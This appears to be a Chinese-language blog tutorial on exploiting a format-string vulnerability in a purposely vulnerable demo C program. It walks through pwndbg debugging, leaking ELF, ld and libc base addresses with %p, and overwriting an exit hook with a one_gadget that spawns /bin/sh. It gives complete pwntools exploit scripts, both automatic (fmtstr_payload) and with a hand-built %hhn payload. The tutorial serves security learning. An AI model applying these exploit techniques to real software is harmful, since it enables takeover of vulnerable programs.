编译一个demo的代码
#include<stdio.h>
#include<string.h>
#include <unistd.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char buf[0x100] = {};
while (1) {
puts("please input:");
read(0, buf, 0x300);
if (strcmp(buf, "exit") == 0) {
break;
}
printf(buf);
}
return 0;
}gcc test.c -g -m64 -o test // 64位
gcc test.c -g -m32 -o test // 32位
先找断点
from pwn import *
elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
gdb.attach(p)
p.interactive()
pwndbg> u main 40
...
0x55a6537e53b3 <main+458> call printf@plt <printf@plt>
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55a6537e4000 0x55a6537e5000 r--p 1000 0 /home/ubuntu/pwn/user_pwn/fmt/2-3/test
pwndbg> p/x 0x55a6537e53b3-0x55a6537e4000
$1 = 0x13b3
所以下断点即为:
gdb.attach(p, "b *$rebase(0x13b3)\nc")
根据printf的特性%n$p, n$表示第n个参数,64为的参数为rdi dsi rdx rcx r8 r9,rdi是格式化字符串,所以对于的n从rsi开始作为第一个参数起。所以寄存器占用5个参数。其余参数从栈上一次读取。
查看寄存器中的信息:
*RCX 0xffffffff
*RDX 0x65
*RDI 0x7ffc4d2717c0 ◂— '%1$p%41$p%5$p'
*RSI 0x56508185f012 ◂— 0x1b01000074697865 /* 'exit' */
R8 0xe
R9 0x7f9e5c400d60 (_dl_fini) ◂— endbr64
不难看出,rsi r9分别含有程序段和ld段的数据,分别对应第一个和第五个参数。
p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
然后查看栈上的参数
pwndbg> stack 50
00:0000│ rdi rsp 0x7ffc4d2717c0 ◂— '%1$p%41$p%5$p'
01:0008│-108 0x7ffc4d2717c8 ◂— 0x7024352570 /* 'p%5$p' */
02:0010│-100 0x7ffc4d2717d0 ◂— 0x0
... ↓ 29 skipped
20:0100│-010 0x7ffc4d2718c0 —▸ 0x7ffc4d2719c0 ◂— 0x1
21:0108│-008 0x7ffc4d2718c8 ◂— 0x4b45c6b32620d400
22:0110│ rbp 0x7ffc4d2718d0 ◂— 0x0
23:0118│+008 0x7ffc4d2718d8 —▸ 0x7f9e5c20d083 (__libc_start_main+243) ◂— mov edi, eax
在0x23偏移处有__libc_start_main,位于libc上,0x00处1个参数,寄存器5个,0x23偏移,所以是%41$p, 于是有:
p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))
找到exit_hook:
0x7f9e5c400daf <_dl_fini+79> call qword ptr [rip + 0x1d1bb] <rtld_lock_default_unlock_recursive>
0x7f9e5c400db5 <_dl_fini+85> sub r12, 1
rip也就是0x7f9e5c400db5,rip + 0x1d1bb是call的地址,也就是:
pwndbg> tel 0x7f9e5c400db5+0x1d1bb
00:0000│ 0x7f9e5c41df70 (_rtld_global+3856) —▸ 0x7f9e5c3f0160 (rtld_lock_default_unlock_recursive)
计算出对应的偏移
pwndbg> p/x 0x7f9e5c41df70-0x7f9e5c3ef000
$5 = 0x2ef70
对应的代码为:
exit_hook = ld_base + 0x2ef70
info("exit hook: " + hex(exit_hook))
找到一个gadget
➜ 2-3 one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
格式化字符串写gadget到exit_hook,字符串的偏移为
00:0000│ rdi rsp 0x7ffc241520c0 ◂— 0x3125633431383225 ('%2814c%1')
01:0008│-108 0x7ffc241520c8 ◂— 0x3832256e6c6c2433 ('3$lln%28')
02:0010│-100 0x7ffc241520d0 ◂— 0x6e68682434312563 ('c%14$hhn')
03:0018│-0f8 0x7ffc241520d8 ◂— 0x6824353125633925 ('%9c%15$h')
04:0020│-0f0 0x7ffc241520e0 ◂— 0x3125633034256e68 ('hn%40c%1')
05:0028│-0e8 0x7ffc241520e8 ◂— 0x3235256e68682436 ('6$hhn%52')
06:0030│-0e0 0x7ffc241520f0 ◂— 0x6e68682437312563 ('c%17$hhn')
所以有如下payload
p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook:one_gadget}))
p.sendafter("please input:\n", "exit\x00")
此时查看一些exit_hook为:
pwndbg> tel 0x7fbcc44eff70
00:0000│ 0x7fbcc44eff70 (_rtld_global+3856) —▸ 0x7fbcc439eafe (execvpe+638) ◂— mov rdx, r12
最终的exp为
from pwn import *
elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))
exit_hook = ld_base + 0x2ef70
info("exit hook: " + hex(exit_hook))
gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook:one_gadget}))
p.sendafter("please input:\n", "exit\x00")
p.interactive()
当然也可以手动构造payload
如果覆盖小数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面
以数字2为例:aa%k$n[padding][addr]可以把一个4字节覆盖成一个小的数
gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()
p.sendafter("please input:\n", "aa%7$nbb" + p64(0xdeadbeef))
对应的栈为
00:0000│ rdi rsp 0x7fff17f68e50 ◂— 0x62626e2437256161 ('aa%7$nbb')
01:0008│-108 0x7fff17f68e58 ◂— 0xdeadbeef
ni下一步
*RAX 0xdeadbeef
*RBX 0x2
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7f7ad7aa1f2d <printf_positional+8589> mov dword ptr [rax], ebx
可见写了一个4字节数据,值为2
覆盖大数字,直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干部分,分别进行覆盖。比如hhn按字节写或hn按双字写。
以hhn写入32bit数为例。payload形式为
[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn
但是由于64为会出现0截断,所以addr放到后面
[pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn[addr][addr+1][addr+2][addr+3]
所以有
payload = ""
payload += "%{}c%{}$hhn".format(one_gadget >> 8 * 0 & 0xFF, 11)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 1 & 0xFF) - (one_gadget >> 8 * 0 & 0xFF) + 0x100) % 0x100, 12)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 2 & 0xFF) - (one_gadget >> 8 * 1 & 0xFF) + 0x100) % 0x100, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)
最终的payload为
from pwn import *
elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
p.sendafter("please input:\n", "%1$p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
p.sendafter("please input:\n", "%41$p")
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))
exit_hook = ld_base + 0x2ef70
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
info("exit hook: " + hex(exit_hook))
info("one_gadget: " + hex(one_gadget))
payload = ""
payload += "%{}c%{}$hhn".format(one_gadget >> 8 * 0 & 0xFF, 11)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 1 & 0xFF) - (one_gadget >> 8 * 0 & 0xFF) + 0x100) % 0x100, 12)
payload += "%{}c%{}$hhn".format(((one_gadget >> 8 * 2 & 0xFF) - (one_gadget >> 8 * 1 & 0xFF) + 0x100) % 0x100, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)
gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()
p.sendafter("please input:\n", payload)
p.sendafter("please input:\n", "exit\x00")
p.interactive()
评论(0)
暂无评论